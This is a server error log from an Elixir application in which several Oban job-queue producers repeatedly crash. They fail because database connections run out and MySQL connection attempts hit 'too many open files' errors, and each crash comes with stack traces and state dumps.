    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:07:08.239063Z], limit: 3, uuid: "de1c976f-a6c2-426c-a74b-6b28e86ada62", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:08.239069Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47101>, refresh_timer: #Reference<0.2525715032.1077673987.22297>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:20.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:07:08.238476Z], limit: 5, uuid: "7b61da50-7150-4265-9f64-bcccf894c323", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:08.238482Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47099>, refresh_timer: #Reference<0.2525715032.1077673987.22282>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:07:08.239135Z], limit: 50, uuid: "ea6d1002-196e-4db0-bdee-f9e71b66e76a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:08.239149Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47100>, refresh_timer: #Reference<0.2525715032.1077673987.22295>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:20.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:07:08.239475Z], limit: 20, uuid: "c8f79a79-fd0d-4049-82f7-e93222e933e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:08.239480Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47097>, refresh_timer: #Reference<0.2525715032.1099431938.46439>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:21.426000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:23.867000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:28.774000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:28.859000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:28.910000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:07:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:07:20.240170Z], limit: 5, uuid: "080fba56-32bf-43c3-b7c0-ffa8bdaedb68", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:20.240176Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47309>, refresh_timer: #Reference<0.2525715032.1077673987.22535>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:07:20.240705Z], limit: 50, uuid: "ee22f786-e51d-49d7-a706-db2e976d6586", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:20.240712Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47308>, refresh_timer: #Reference<0.2525715032.1099431938.46543>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:32.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:07:20.240636Z], limit: 20, uuid: "d142674d-606e-4c69-82d9-385f1a8ed284", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:20.240642Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47304>, refresh_timer: #Reference<0.2525715032.1121189889.159001>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:07:20.241092Z], limit: 10, uuid: "1a80c394-2af7-4cba-aa31-cabf349c530c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:20.241099Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47305>, refresh_timer: #Reference<0.2525715032.1121189889.159016>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1015ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:07:20.240432Z], limit: 3, uuid: "0c4a0b6b-1c59-4ded-bdcf-d36b46dd1006", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:07:20.240438Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.47307>, refresh_timer: #Reference<0.2525715032.1121189889.158995>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:07:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
